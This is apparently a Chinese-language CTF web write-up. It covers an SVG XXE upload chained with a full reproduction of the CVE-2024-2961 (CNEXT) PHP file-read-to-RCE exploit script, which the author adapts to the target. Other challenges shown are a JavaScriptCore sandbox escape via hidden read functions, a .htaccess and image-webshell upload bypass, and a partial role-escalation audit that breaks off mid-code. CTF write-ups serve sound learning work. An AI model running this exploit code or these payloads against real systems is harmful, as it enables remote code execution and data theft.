Polaris CTF WEB

截屏2026-03-30 16.31.07

WEB 12/13 MISC 6/12 Reverse 4/15 PWN 3/14 Crypto 5/9

两个赛道总排名 54 招新赛道排名20 WEB方向 第4

做题还是太慢了,也是又熬穿了

截屏2026-03-30 16.36.55

OK,下面是我的WEB wp

头像上传器

我写了一个头像上传器,只要用白名单限制上传文件就没风险了吧。

截屏2026-03-29 19.25.20

注册一下

截屏2026-03-29 19.28.26

OK ,我们在看一下 JS 源码,找一下 API接口

截屏2026-03-29 20.58.01

一共有5个

/api/avatar.php 是返回头像内容的,GET

/api/update_profile.php 是更新头像文件名的 ,POST

/api/me.php 获取用户信息,GET

/api/upload.php 上传文件的,POST

/api/logout.php 退出用的,POST

贴一下整段代码

<script>
    const state = { user: null };

    async function api(path, payload) {
      const res = await fetch(path, {
        method: payload ? 'POST' : 'GET',
        headers: payload ? { 'Content-Type': 'application/json' } : undefined,
        body: payload ? JSON.stringify(payload) : undefined
      });
      const data = await res.json().catch(() => ({}));
      return { ok: res.ok, data };
    }

    function setToast(id, msg) {
      document.getElementById(id).textContent = msg || '';
    }

    function renderUser() {
      if (!state.user) {
        window.location.href = '/';
        return;
      }
      document.getElementById('profileDisplay').value = state.user.display_name || '';
      document.getElementById('profileAvatar').value = state.user.avatar_path || '';

      const avatarUrl = '/api/avatar.php?ts=' + Date.now();
      document.getElementById('avatarButton').innerHTML = `<img src="${avatarUrl}" alt="avatar">`;
    }

    document.getElementById('saveProfileBtn').addEventListener('click', async () => {
      setToast('profileToast', '');
      const payload = {
        display_name: document.getElementById('profileDisplay').value,
        avatar_name: document.getElementById('profileAvatar').value
      };
      const res = await api('/api/update_profile.php', payload);
      if (res.data.ok) {
        const me = await api('/api/me.php');
        if (me.data.ok) {
          state.user = me.data.user;
          renderUser();
        }
        setToast('profileToast', '资料已更新。');
      } else {
        setToast('profileToast', res.data.error || '更新失败');
      }
    });

    document.getElementById('uploadBtn').addEventListener('click', async () => {
      setToast('uploadToast', '');
      const file = document.getElementById('uploadFile').files[0];
      if (!file) {
        setToast('uploadToast', '请选择文件。');
        return;
      }
      const form = new FormData();
      form.append('file', file);
      const res = await fetch('/api/upload.php', { method: 'POST', body: form });
      const data = await res.json().catch(() => ({}));
      if (data.ok) {
        document.getElementById('profileAvatar').value = data.name;
        setToast('uploadToast', '上传成功:' + data.name);
      } else {
        setToast('uploadToast', data.error || '上传失败');
      }
    });

    document.getElementById('logoutLink').addEventListener('click', async (e) => {
      e.preventDefault();
      await api('/api/logout.php', {});
      window.location.href = '/';
    });

    (async () => {
      const me = await api('/api/me.php');
      if (me.data && me.data.ok) {
        state.user = me.data.user;
      }
      renderUser();
    })();
  </script>

所以说整个逻辑是

截屏2026-03-29 21.10.40

上传成功后,服务器在返回一个 name ,然后填入左侧的”头像文件名”输入框

然后是 保存头像文件名

截屏2026-03-29 21.12.38把那个文件名发给服务器

接着!!! 读取头像

截屏2026-03-29 21.13.50

每次刷新页面,浏览器都会请求 /api/avatar.php,服务器就会去读取并解析我们设置的那个头像文件。

漏洞就在这! 当头像文件是 SVG 格式时,服务器用 PHP 的 DOMDocument 来解析它。

如果说我们上传一个恶意 SVG 文件,就能实现 XXE

ok ,开始构造

截屏2026-03-29 21.20.09

上传恶意 SVG,触发 XXE

截屏2026-03-29 21.22.42

截屏2026-03-29 21.26.15

OKOK,确定了,XXE

这里贴一个美女小小庆祝一下

【哲风壁纸】夜晚花树-夜樱

截屏2026-03-29 21.28.56

截屏2026-03-29 21.29.32

哦吼,不能直接读 flag ,这也说明 /flag 但是我们 www-data 没有权限

截屏2026-03-29 21.31.40

那我们先用 XXE 读一个特殊文件来确认环境,我们可以把 SVG 改成读 /proc/self/cmdline

因为这个文件记录了当前进程的命令行,www-data 有权限读

截屏2026-03-29 21.33.27

哈哈,不行,嗯,应该是/proc/self/cmdline 里包含 \x00 作为分隔符,XML 解析器遇到 null 字节会截断,

下一步读 /proc/version

截屏2026-03-29 21.35.27

截屏2026-03-29 21.36.00

好的 Ubuntu 22.04 + glibc

现在的问题是:XXE 能读文件,但 /flag 没权限,我们要想办法执行命令。

Google一下 ,发现了 CVE-2024-2961(CNEXT),这个漏洞正好能把 PHP 的文件读取能力升级成 RCE,而且 Ubuntu 22.04 的 glibc 就在漏洞影响范围内,没跑了。

截屏2026-03-29 21.48.17

开始要利用 CNEXT 了。首先是 **php://filter + base64 **读取 /proc/self/maps,拿到 libc 的内存地址。

截屏2026-03-29 21.54.47

okok

截屏2026-03-29 21.56.17

Base64 - decode 一下,不贴了,太长了

找到了 libc 的地址截屏2026-03-29 22.02.29还有 PHP 堆 的地址截屏2026-03-29 22.03.13

我们从 /proc/self/maps 中找到关键信息:

  • libc 路径:/lib/x86_64-linux-gnu/libc-2.31.so
  • libc 基地址:0x7f42cbcb8000
  • PHP 堆地址:0x559368e71000

致敬致敬,大佬🫡

截屏2026-03-29 22.09.15

#!/usr/bin/env python3
#
# CNEXT: PHP file-read to RCE (CVE-2024-2961)
# Date: 2024-05-27
# Author: Charles FOL @cfreal_ (LEXFO/AMBIONICS)
#
# TODO Parse LIBC to know if patched
#
# INFORMATIONS
#
# To use, implement the Remote class, which tells the exploit how to send the payload.
#

from __future__ import annotations

import base64
import zlib

from dataclasses import dataclass
from requests.exceptions import ConnectionError, ChunkedEncodingError

from pwn import *
from ten import *


HEAP_SIZE = 2 * 1024 * 1024
BUG = "劄".encode("utf-8")


class Remote:
    """A helper class to send the payload and download files.
    
    The logic of the exploit is always the same, but the exploit needs to know how to
    download files (/proc/self/maps and libc) and how to send the payload.
    
    The code here serves as an example that attacks a page that looks like:
    
    ```php
    <?php
    
    $data = file_get_contents($_POST['file']);
    echo "File contents: $data";
    ```
    
    Tweak it to fit your target, and start the exploit.
    """

    def __init__(self, url: str) -> None:
        self.url = url
        self.session = Session()

    def send(self, path: str) -> Response:
        """Sends given `path` to the HTTP server. Returns the response.
        """
        return self.session.post(self.url, data={"file": path})
        
    def download(self, path: str) -> bytes:
        """Returns the contents of a remote file.
        """
        path = f"php://filter/convert.base64-encode/resource={path}"
        response = self.send(path)
        data = response.re.search(b"File contents: (.*)", flags=re.S).group(1)
        return base64.decode(data)

@entry
@arg("url", "Target URL")
@arg("command", "Command to run on the system; limited to 0x140 bytes")
@arg("sleep", "Time to sleep to assert that the exploit worked. By default, 1.")
@arg("heap", "Address of the main zend_mm_heap structure.")
@arg(
    "pad",
    "Number of 0x100 chunks to pad with. If the website makes a lot of heap "
    "operations with this size, increase this. Defaults to 20.",
)
@dataclass
class Exploit:
    """CNEXT exploit: RCE using a file read primitive in PHP."""

    url: str
    command: str
    sleep: int = 1
    heap: str = None
    pad: int = 20

    def __post_init__(self):
        self.remote = Remote(self.url)
        self.log = logger("EXPLOIT")
        self.info = {}
        self.heap = self.heap and int(self.heap, 16)

    def check_vulnerable(self) -> None:
        """Checks whether the target is reachable and properly allows for the various
        wrappers and filters that the exploit needs.
        """
        
        def safe_download(path: str) -> bytes:
            try:
                return self.remote.download(path)
            except ConnectionError:
                failure("Target not [b]reachable[/] ?")
            

        def check_token(text: str, path: str) -> bool:
            result = safe_download(path)
            return text.encode() == result

        text = tf.random.string(50).encode()
        base64 = b64(text, misalign=True).decode()
        path = f"data:text/plain;base64,{base64}"
        
        result = safe_download(path)
        
        if text not in result:
            msg_failure("Remote.download did not return the test string")
            print("--------------------")
            print(f"Expected test string: {text}")
            print(f"Got: {result}")
            print("--------------------")
            failure("If your code works fine, it means that the [i]data://[/] wrapper does not work")

        msg_info("The [i]data://[/] wrapper works")

        text = tf.random.string(50)
        base64 = b64(text.encode(), misalign=True).decode()
        path = f"php://filter//resource=data:text/plain;base64,{base64}"
        if not check_token(text, path):
            failure("The [i]php://filter/[/] wrapper does not work")

        msg_info("The [i]php://filter/[/] wrapper works")

        text = tf.random.string(50)
        base64 = b64(compress(text.encode()), misalign=True).decode()
        path = f"php://filter/zlib.inflate/resource=data:text/plain;base64,{base64}"

        if not check_token(text, path):
            failure("The [i]zlib[/] extension is not enabled")

        msg_info("The [i]zlib[/] extension is enabled")

        msg_success("Exploit preconditions are satisfied")

    def get_file(self, path: str) -> bytes:
        with msg_status(f"Downloading [i]{path}[/]..."):
            return self.remote.download(path)

    def get_regions(self) -> list[Region]:
        """Obtains the memory regions of the PHP process by querying /proc/self/maps."""
        maps = self.get_file("/proc/self/maps")
        maps = maps.decode()
        PATTERN = re.compile(
            r"^([a-f0-9]+)-([a-f0-9]+)\b" r".*" r"\s([-rwx]{3}[ps])\s" r"(.*)"
        )
        regions = []
        for region in table.split(maps, strip=True):
            if match := PATTERN.match(region):
                start = int(match.group(1), 16)
                stop = int(match.group(2), 16)
                permissions = match.group(3)
                path = match.group(4)
                if "/" in path or "[" in path:
                    path = path.rsplit(" ", 1)[-1]
                else:
                    path = ""
                current = Region(start, stop, permissions, path)
                regions.append(current)
            else:
                print(maps)
                failure("Unable to parse memory mappings")

        self.log.info(f"Got {len(regions)} memory regions")

        return regions

    def get_symbols_and_addresses(self) -> None:
        """Obtains useful symbols and addresses from the file read primitive."""
        regions = self.get_regions()

        LIBC_FILE = "/dev/shm/cnext-libc"

        # PHP's heap

        self.info["heap"] = self.heap or self.find_main_heap(regions)

        # Libc

        libc = self._get_region(regions, "libc-", "libc.so")

        self.download_file(libc.path, LIBC_FILE)

        self.info["libc"] = ELF(LIBC_FILE, checksec=False)
        self.info["libc"].address = libc.start

    def _get_region(self, regions: list[Region], *names: str) -> Region:
        """Returns the first region whose name matches one of the given names."""
        for region in regions:
            if any(name in region.path for name in names):
                break
        else:
            failure("Unable to locate region")

        return region

    def download_file(self, remote_path: str, local_path: str) -> None:
        """Downloads `remote_path` to `local_path`"""
        data = self.get_file(remote_path)
        Path(local_path).write(data)

    def find_main_heap(self, regions: list[Region]) -> Region:
        # Any anonymous RW region with a size superior to the base heap size is a
        # candidate. The heap is at the bottom of the region.
        heaps = [
            region.stop - HEAP_SIZE + 0x40
            for region in reversed(regions)
            if region.permissions == "rw-p"
            and region.size >= HEAP_SIZE
            and region.stop & (HEAP_SIZE-1) == 0
            and region.path in ("", "[anon:zend_alloc]")
        ]

        if not heaps:
            failure("Unable to find PHP's main heap in memory")

        first = heaps[0]

        if len(heaps) > 1:
            heaps = ", ".join(map(hex, heaps))
            msg_info(f"Potential heaps: [i]{heaps}[/] (using first)")
        else:
            msg_info(f"Using [i]{hex(first)}[/] as heap")

        return first

    def run(self) -> None:
        self.check_vulnerable()
        self.get_symbols_and_addresses()
        self.exploit()

    def build_exploit_path(self) -> str:
        """On each step of the exploit, a filter will process each chunk one after the
        other. Processing generally involves making some kind of operation either
        on the chunk or in a destination chunk of the same size. Each operation is
        applied on every single chunk; you cannot make PHP apply iconv on the first 10
        chunks and leave the rest in place. That's where the difficulties come from.

        Keep in mind that we know the address of the main heap, and the libraries.
        ASLR/PIE do not matter here.

        The idea is to use the bug to make the freelist for chunks of size 0x100 point
        lower. For instance, we have the following free list:

        ... -> 0x7fffAABBCC900 -> 0x7fffAABBCCA00 -> 0x7fffAABBCCB00

        By triggering the bug from chunk ..900, we get:

        ... -> 0x7fffAABBCCA00 -> 0x7fffAABBCCB48 -> ???

        That's step 3.

        Now, in order to control the free list, and make it point whereever we want,
        we need to have previously put a pointer at address 0x7fffAABBCCB48. To do so,
        we'd have to have allocated 0x7fffAABBCCB00 and set our pointer at offset 0x48.
        That's step 2.

        Now, if we were to perform step2 an then step3 without anything else, we'd have
        a problem: after step2 has been processed, the free list goes bottom-up, like:

        0x7fffAABBCCB00 -> 0x7fffAABBCCA00 -> 0x7fffAABBCC900

        We need to go the other way around. That's why we have step 1: it just allocates
        chunks. When they get freed, they reverse the free list. Now step2 allocates in
        reverse order, and therefore after step2, chunks are in the correct order.

        Another problem comes up.

        To trigger the overflow in step3, we convert from UTF-8 to ISO-2022-CN-EXT.
        Since step2 creates chunks that contain pointers and pointers are generally not
        UTF-8, we cannot afford to have that conversion happen on the chunks of step2.
        To avoid this, we put the chunks in step2 at the very end of the chain, and
        prefix them with `0\n`. When dechunked (right before the iconv), they will
        "disappear" from the chain, preserving them from the character set conversion
        and saving us from an unwanted processing error that would stop the processing
        chain.

        After step3 we have a corrupted freelist with an arbitrary pointer into it. We
        don't know the precise layout of the heap, but we know that at the top of the
        heap resides a zend_mm_heap structure. We overwrite this structure in two ways.
        Its free_slot[] array contains a pointer to each free list. By overwriting it,
        we can make PHP allocate chunks whereever we want. In addition, its custom_heap
        field contains pointers to hook functions for emalloc, efree, and erealloc
        (similarly to malloc_hook, free_hook, etc. in the libc). We overwrite them and
        then overwrite the use_custom_heap flag to make PHP use these function pointers
        instead. We can now do our favorite CTF technique and get a call to
        system(<chunk>).
        We make sure that the "system" command kills the current process to avoid other
        system() calls with random chunk data, leading to undefined behaviour.

        The pad blocks just "pad" our allocations so that even if the heap of the
        process is in a random state, we still get contiguous, in order chunks for our
        exploit.

        Therefore, the whole process described here CANNOT crash. Everything falls
        perfectly in place, and nothing can get in the middle of our allocations.
        """

        LIBC = self.info["libc"]
        ADDR_EMALLOC = LIBC.symbols["__libc_malloc"]
        ADDR_EFREE = LIBC.symbols["__libc_system"]
        ADDR_EREALLOC = LIBC.symbols["__libc_realloc"]

        ADDR_HEAP = self.info["heap"]
        ADDR_FREE_SLOT = ADDR_HEAP + 0x20
        ADDR_CUSTOM_HEAP = ADDR_HEAP + 0x0168

        ADDR_FAKE_BIN = ADDR_FREE_SLOT - 0x10

        CS = 0x100

        # Pad needs to stay at size 0x100 at every step
        pad_size = CS - 0x18
        pad = b"\x00" * pad_size
        pad = chunked_chunk(pad, len(pad) + 6)
        pad = chunked_chunk(pad, len(pad) + 6)
        pad = chunked_chunk(pad, len(pad) + 6)
        pad = compressed_bucket(pad)

        step1_size = 1
        step1 = b"\x00" * step1_size
        step1 = chunked_chunk(step1)
        step1 = chunked_chunk(step1)
        step1 = chunked_chunk(step1, CS)
        step1 = compressed_bucket(step1)

        # Since these chunks contain non-UTF-8 chars, we cannot let it get converted to
        # ISO-2022-CN-EXT. We add a `0\n` that makes the 4th and last dechunk "crash"

        step2_size = 0x48
        step2 = b"\x00" * (step2_size + 8)
        step2 = chunked_chunk(step2, CS)
        step2 = chunked_chunk(step2)
        step2 = compressed_bucket(step2)

        step2_write_ptr = b"0\n".ljust(step2_size, b"\x00") + p64(ADDR_FAKE_BIN)
        step2_write_ptr = chunked_chunk(step2_write_ptr, CS)
        step2_write_ptr = chunked_chunk(step2_write_ptr)
        step2_write_ptr = compressed_bucket(step2_write_ptr)

        step3_size = CS

        step3 = b"\x00" * step3_size
        assert len(step3) == CS
        step3 = chunked_chunk(step3)
        step3 = chunked_chunk(step3)
        step3 = chunked_chunk(step3)
        step3 = compressed_bucket(step3)

        step3_overflow = b"\x00" * (step3_size - len(BUG)) + BUG
        assert len(step3_overflow) == CS
        step3_overflow = chunked_chunk(step3_overflow)
        step3_overflow = chunked_chunk(step3_overflow)
        step3_overflow = chunked_chunk(step3_overflow)
        step3_overflow = compressed_bucket(step3_overflow)

        step4_size = CS
        step4 = b"=00" + b"\x00" * (step4_size - 1)
        step4 = chunked_chunk(step4)
        step4 = chunked_chunk(step4)
        step4 = chunked_chunk(step4)
        step4 = compressed_bucket(step4)

        # This chunk will eventually overwrite mm_heap->free_slot
        # it is actually allocated 0x10 bytes BEFORE it, thus the two filler values
        step4_pwn = ptr_bucket(
            0x200000,
            0,
            # free_slot
            0,
            0,
            ADDR_CUSTOM_HEAP,  # 0x18
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            ADDR_HEAP,  # 0x140
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            size=CS,
        )

        step4_custom_heap = ptr_bucket(
            ADDR_EMALLOC, ADDR_EFREE, ADDR_EREALLOC, size=0x18
        )

        step4_use_custom_heap_size = 0x140

        COMMAND = self.command
        COMMAND = f"kill -9 $PPID; {COMMAND}"
        if self.sleep:
            COMMAND = f"sleep {self.sleep}; {COMMAND}"
        COMMAND = COMMAND.encode() + b"\x00"

        assert (
            len(COMMAND) <= step4_use_custom_heap_size
        ), f"Command too big ({len(COMMAND)}), it must be strictly inferior to {hex(step4_use_custom_heap_size)}"
        COMMAND = COMMAND.ljust(step4_use_custom_heap_size, b"\x00")

        step4_use_custom_heap = COMMAND
        step4_use_custom_heap = qpe(step4_use_custom_heap)
        step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
        step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
        step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
        step4_use_custom_heap = compressed_bucket(step4_use_custom_heap)

        pages = (
            step4 * 3
            + step4_pwn
            + step4_custom_heap
            + step4_use_custom_heap
            + step3_overflow
            + pad * self.pad
            + step1 * 3
            + step2_write_ptr
            + step2 * 2
        )

        resource = compress(compress(pages))
        resource = b64(resource)
        resource = f"data:text/plain;base64,{resource.decode()}"

        filters = [
            # Create buckets
            "zlib.inflate",
            "zlib.inflate",
            
            # Step 0: Setup heap
            "dechunk",
            "convert.iconv.L1.L1",
            
            # Step 1: Reverse FL order
            "dechunk",
            "convert.iconv.L1.L1",
            
            # Step 2: Put fake pointer and make FL order back to normal
            "dechunk",
            "convert.iconv.L1.L1",
            
            # Step 3: Trigger overflow
            "dechunk",
            "convert.iconv.UTF-8.ISO-2022-CN-EXT",
            
            # Step 4: Allocate at arbitrary address and change zend_mm_heap
            "convert.quoted-printable-decode",
            "convert.iconv.L1.L1",
        ]
        filters = "|".join(filters)
        path = f"php://filter/read={filters}/resource={resource}"

        return path

    @inform("Triggering...")
    def exploit(self) -> None:
        path = self.build_exploit_path()
        start = time.time()

        try:
            self.remote.send(path)
        except (ConnectionError, ChunkedEncodingError):
            pass
        
        msg_print()
        
        if not self.sleep:
            msg_print("    [b white on black] EXPLOIT [/][b white on green] SUCCESS [/] [i](probably)[/]")
        elif start + self.sleep <= time.time():
            msg_print("    [b white on black] EXPLOIT [/][b white on green] SUCCESS [/]")
        else:
            # Wrong heap, maybe? If the exploited suggested others, use them!
            msg_print("    [b white on black] EXPLOIT [/][b white on red] FAILURE [/]")
        
        msg_print()


def compress(data) -> bytes:
    """Returns data suitable for `zlib.inflate`.
    """
    # Remove 2-byte header and 4-byte checksum
    return zlib.compress(data, 9)[2:-4]


def b64(data: bytes, misalign=True) -> bytes:
    payload = base64.encode(data)
    if not misalign and payload.endswith("="):
        raise ValueError(f"Misaligned: {data}")
    return payload.encode()


def compressed_bucket(data: bytes) -> bytes:
    """Returns a chunk of size 0x8000 that, when dechunked, returns the data."""
    return chunked_chunk(data, 0x8000)


def qpe(data: bytes) -> bytes:
    """Emulates quoted-printable-encode.
    """
    return "".join(f"={x:02x}" for x in data).upper().encode()


def ptr_bucket(*ptrs, size=None) -> bytes:
    """Creates a 0x8000 chunk that reveals pointers after every step has been ran."""
    if size is not None:
        assert len(ptrs) * 8 == size
    bucket = b"".join(map(p64, ptrs))
    bucket = qpe(bucket)
    bucket = chunked_chunk(bucket)
    bucket = chunked_chunk(bucket)
    bucket = chunked_chunk(bucket)
    bucket = compressed_bucket(bucket)

    return bucket


def chunked_chunk(data: bytes, size: int = None) -> bytes:
    """Constructs a chunked representation of the given chunk. If size is given, the
    chunked representation has size `size`.
    For instance, `ABCD` with size 10 becomes: `0004\nABCD\n`.
    """
    # The caller does not care about the size: let's just add 8, which is more than
    # enough
    if size is None:
        size = len(data) + 8
    keep = len(data) + len(b"\n\n")
    size = f"{len(data):x}".rjust(size - keep, "0")
    return size.encode() + b"\n" + data + b"\n"


@dataclass
class Region:
    """A memory region."""

    start: int
    stop: int
    permissions: str
    path: str

    @property
    def size(self) -> int:
        return self.stop - self.start


Exploit()

该一下啵,

先是 Remote

class Remote:
    def __init__(self, url: str) -> None:
        self.base_url = url.rstrip("/")
        self.session = Session()
        self._login()

    def _login(self) -> None:
        username = "u" + "".join(random.choice(string.digits) for _ in range(10))
        password = "Passw0rd!"
        self.session.post(f"{self.base_url}/api/register.php",
            json={"username": username, "password": password})
        self.session.post(f"{self.base_url}/api/login.php",
            json={"username": username, "password": password})

    def send(self, path: str):
        svg = (
            f'<?xml version="1.0"?>\n'
            f'<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "{path}"> ]>\n'
            f'<svg xmlns="http://www.w3.org/2000/svg"><text>&xxe;</text></svg>'
         ).encode()
        up = self.session.post(f"{self.base_url}/api/upload.php",
            files={"file": ("p.svg", svg, "image/svg+xml")})
        name = up.json().get("name")
        self.session.post(f"{self.base_url}/api/update_profile.php",
            json={"display_name": "x", "avatar_name": name})
        return self.session.get(f"{self.base_url}/api/avatar.php")

    def download(self, path: str) -> bytes:
        path = f"php://filter/convert.base64-encode/resource={path}"
        response = self.send(path)
        match = _re.search(rb"<text>(.*?)</text>", response.content, flags=_re.S)
        data = match.group(1).strip()
        return base64.decode(data)

还有 filter 拼接方式

path = "php://filter/" + "".join(f"read={f}/" for f in filters) + f"resource={resource}"

还有一个我是 Mac ,改一下这个

LIBC_FILE = "/tmp/cnext-libc"

截屏2026-03-29 22.28.28

访问一下

http://hahanihao123.challenge.ctfplus.cn/uploads/flag.txt

拿下拿下

截屏2026-03-29 22.29.54

Not a Node

我们搭建了一个“安全”的在线 JavaScript 运行平台。

你提交的代码会被放进一个精心准备的沙箱中运行,一切看起来很干净

截屏2026-03-29 22.36.52

最底下写着:JSC Sandboxed Context | Not all properties are enumerable

哦这是 Apple 的 JS 引擎 ,哎,好久没用你 safari 了截屏2026-03-29 22.39.42

回归正题,Blocked PatternsStatic string checks 这很容易了啊截屏2026-03-29 22.42.09

再看看呢,哦我们在高级这里

截屏2026-03-29 22.48.31

看到 “平台编排可能依赖未列出的内部绑定”,结合底部的并非所有属性都可枚举

说明 __runtime 对象中存在隐藏属性

那我们先枚举所有可枚举属性,搞清楚 公开的 API 的范围

export default { async fetch(request) { 
  const keys = [];
  for (let k in __runtime) { keys.push(k); }
  return new Response(JSON.stringify({keys: keys}));
} }

截屏2026-03-29 22.50.58

截屏2026-03-29 22.51.59

然后底部的并非所有属性都可枚举

export default { async fetch(request) { 
  const desc = Object.getOwnPropertyDescriptor(__runtime, '_internal');
  return new Response(JSON.stringify(desc, null, 2));
} }

截屏2026-03-29 22.54.40

多了一个 _internal

export default { async fetch(request) { 
  const desc = Object.getOwnPropertyDescriptor(__runtime, '_internal');
  return new Response(JSON.stringify(desc, null, 2));
} }

截屏2026-03-29 22.56.06

OK,我们来看一下这个结构

{
  "value": {
    "debug": false,
    "lib": {
      "symbols": {}
    }
  },
  "writable": false,
  "enumerable": false,
  "configurable": false
}

symbols 显示是空对象,但这很可疑啊,

JSON.stringify 是只能序列化可枚举属性。

如果 symbols 里的函数也是不可枚举的,JSON.stringify 就会显示 {},但这实际上里面有东西

我们下一步可以用 Reflect.ownKeys() 挖出 symbols 里的隐藏内容

export default { async fetch(request) { 
  const desc = Object.getOwnPropertyDescriptor(__runtime, '_internal');
  const internalObj = desc.value;
  const symbolKeys = Reflect.ownKeys(internalObj.lib.symbols);
  return new Response(JSON.stringify({symbolKeys: symbolKeys}));
} }

截屏2026-03-29 22.59.35

截屏2026-03-29 23.02.16

这说明

__runtime._internal.lib.symbols 里有两个函数:

  • _0x72656164 — **read **
  • _0x6c697374list

Okok, 那我们就直接调用 list 看看有什么

export default { async fetch(request) { 
  const desc = Object.getOwnPropertyDescriptor(__runtime, '_internal');
  const symbols = desc.value.lib.symbols;
  const listFn = symbols['_0x6c697374'];
  return new Response(JSON.stringify({ result: listFn('/') }, null, 2));
} }

截屏2026-03-29 23.20.04

不对劲,这似乎,有可能就只是沙箱的目录

验证一下我们的猜想

export default { async fetch(request) { 
  const desc = Object.getOwnPropertyDescriptor(__runtime, '_internal');
  const symbols = desc.value.lib.symbols;
  const listFn = symbols['_0x6c697374'];
  return new Response(JSON.stringify({
    "root": listFn('/'),
    "home": listFn('/home'),
    "dot": listFn('.'),
  }, null, 2));
} }

截屏2026-03-29 23.22.25

返回内容完全一致

文件系统出不去,那就读一下这三个文件吧

export default { async fetch(request) { 
  const desc = Object.getOwnPropertyDescriptor(__runtime, '_internal');
  const symbols = desc.value.lib.symbols;
  const readFn = symbols['_0x72656164'];
  return new Response(JSON.stringify({
    conf: readFn('runtime.conf'),
    manifest: readFn('manifest.json'),
    token: readFn('.edge_token'),
  }, null, 2));
} }

截屏2026-03-29 23.26.56

是报错,太好啦

我们发现说明沙箱的工作目录是 /app/,然后还有read 函数的参数被填充了 null 字节

就是说我们传的是字符串 'runtime.conf',但函数收到的路径变成了 /app/\u0000\u0000\u0000...

看一下报错信息

’path‘ must be a string, Uint8Array, or URL without null bytes

那我们传一个 Uint8Array

const encoder = new TextEncoder();
const pathBytes = encoder.encode('/flag');
const result = readFn(pathBytes);
capture the flag
export default { async fetch(request) { 
  try {
    const desc = Object.getOwnPropertyDescriptor(__runtime, '_internal');
    const symbols = desc.value.lib.symbols;
    const readFn = symbols['_0x72656164'];
    const encoder = new TextEncoder();
    const pathBytes = encoder.encode('/flag');
    const result = readFn(pathBytes);
    return new Response(result);
  } catch(e) { return new Response('Error: ' + e.message); }
} }

截屏2026-03-29 23.57.43

Okok,贴一个美女庆祝一下

【哲风壁纸】休闲-室内-居家

only_real_revenge

也许只有一个是真的

截屏2026-03-30 00.03.22

呜呜呜,😭我要进星盟安全

侦察顺序要做什么为什么
1查看网页源代码可能藏有注释、隐藏字段、提示
2尝试默认账号密码很多 CTF 题会给默认凭据
3看有没有其他页面/接口比如 /upload.php/admin.php
4抓包分析请求看登录时发了什么数据

截屏2026-03-30 00.04.38

太好啦,我进去了

截屏2026-03-30 00.05.34

按钮按不动,哈哈是前端啊

截屏2026-03-30 00.11.12

document.querySelectorAll('[disabled]').forEach(el => el.removeAttribute('disabled'));

view-source:

截屏2026-03-30 00.12.54

发现是前端拦截,那我们关闭 JS 即可

文件上传,我们先上传正常的图片 1.png 上传后页面没有任何线索,还把我按钮又给 disabled

我们猜一下路径

截屏2026-03-30 00.28.01

没有问题,是 403

截屏2026-03-30 00.31.52

1.png 访问不到,这时猜测服务器肯定给我名字随机了,哎,应该不会是爆破问题

那我们就先尝试 .htaccess

AddType application/x-httpd-php .jpg

还有图片🐎截屏2026-03-30 00.35.52

capture the flag

截屏2026-03-30 00.41.43

okok 庆祝庆祝

【哲风壁纸】Wallpaper-水中

斯,其实我在想为啥这时候能访问了,先不管了,做其他吧,等会再来想想

醉里挑灯看剑

谁知道呢,他们说ts是世界上最好的语言

截屏2026-03-30 00.52.16

还有一个附件,我们审计一下

搜索一下发现 flag 字段不多,而且只有这一个地方返回给了我们:

截屏2026-03-30 01.13.59

找一下接口

if (req.method === 'POST' && pathname === '/api/release/claim') {

所以说我们只要成功调用 POST /api/release/claim 这个接口,就能拿到 Flag

慢工出细活,我们好好看看

const claims = requireSession(req);

这个说明一定要带有效的 Token,否则直接报错退出

const effectiveCap = await getEffectiveCapability(claims.sid);
assertReleaseCapability(effectiveCap);

要求我们 role=‘maintainer’lane=‘release’

if (claims.role !== 'guest') throw Error(...)

反过来要求 Token 本身必须是 guest 签发的 ,嗯哼 ,感觉有点不对劲

const nonce = payload.nonce
const proof = payload.proof

要在请求体里提交 nonce 和 proof 两个字段

const expected = computeReleaseProof(claims.sid, nonce)
if (proof !== expected) throw Error(...)

proof 必须等于sha1(sid + ":" + nonce + ":" + RUNNER_KEY) 但是 RUNNER_KEY 是服务器的环境变量,我们不知道啊

await consumeReleaseChallenge(claims.sid, nonce)

哦,nonce 必须是服务器之前生成过的、且没用过的

然后就是返回 flag

所以我们遇到了,权限不够,RUNNER_KEY 不知道 , 没有 nonce

理一下思路吧,嘟嘟嘟,贴个妹妹

【哲风壁纸】人物特写-女孩

我们先想办法从 guest 提权到 maintainer

然后有了 maintainer 权限之后,再想办法偷到 RUNNER_KEY ,接着就是申请 nonce 最后算出 proof,提交,最后CTF

sudo maintainer

服务器判断你的角色,不是看你的 Token,而是去数据库里查一张表:capability_snapshots

截屏2026-03-30 02.17.54

COALESCE(role, ‘maintainer’) AS role, !!!

所以说我们只需要想办法往数据库里插入一条 role = NULL 的记录

就可以了?

找啊找,找到一个小接口 POST /api/caps/sync

截屏2026-03-30 02.23.00

但是,服务器在写入之前做了点防护 normalizeSyncRows & appendCapabilityRows

normalizeSyncRows 函数

function normalizeSyncRows(body: unknown, claims: SessionClaims): Array<Record<string, unknown>> {
  if (!body || typeof body !== 'object') {
    throw new Error('sync body must be object');
  }

  const payload = body as Record<string, unknown>;
  if (!Array.isArray(payload.ops)) {
    throw new Error('ops must be an array');
  }

  if (payload.ops.length < 2 || payload.ops.length > 8) {
    throw new Error('ops length must be between 2 and 8');
  }

  const now = Date.now();
  const rows: Array<Record<string, unknown>> = [];

  for (let i = 0; i < payload.ops.length; i += 1) {
    const op = payload.ops[i];
    if (!op || typeof op !== 'object') {
      throw new Error(`ops[${i}] must be object`);
    }

    const input = op as Record<string, unknown>;
    const source = typeof input.source === 'string' ? input.source.trim() : '';
    if (!source || source.length > 40 || !/^[a-z0-9_.:\/-]+$/i.test(source)) {
      throw new Error(`ops[${i}].source invalid`);
    }

    const note = typeof input.note === 'string'
      ? input.note.slice(0, 200)
      : `guest-sync-${i + 1}`;

    const keepRole = input.keepRole !== false;
    const keepLane = input.keepLane !== false;

    const row: Record<string, unknown> = {
      sid: claims.sid,
      source,
      note,
      stamp: now + i
    };

    if (keepRole) {
      row.role = 'guest';
    }

    if (keepLane) {
      row.lane = 'public';
    }

    rows.push(row);
  }

  rows.push({
    sid: claims.sid,
    role: 'guest',
    lane: 'public',
    source: 'server-tail',
    note: 'tail guard snapshot',
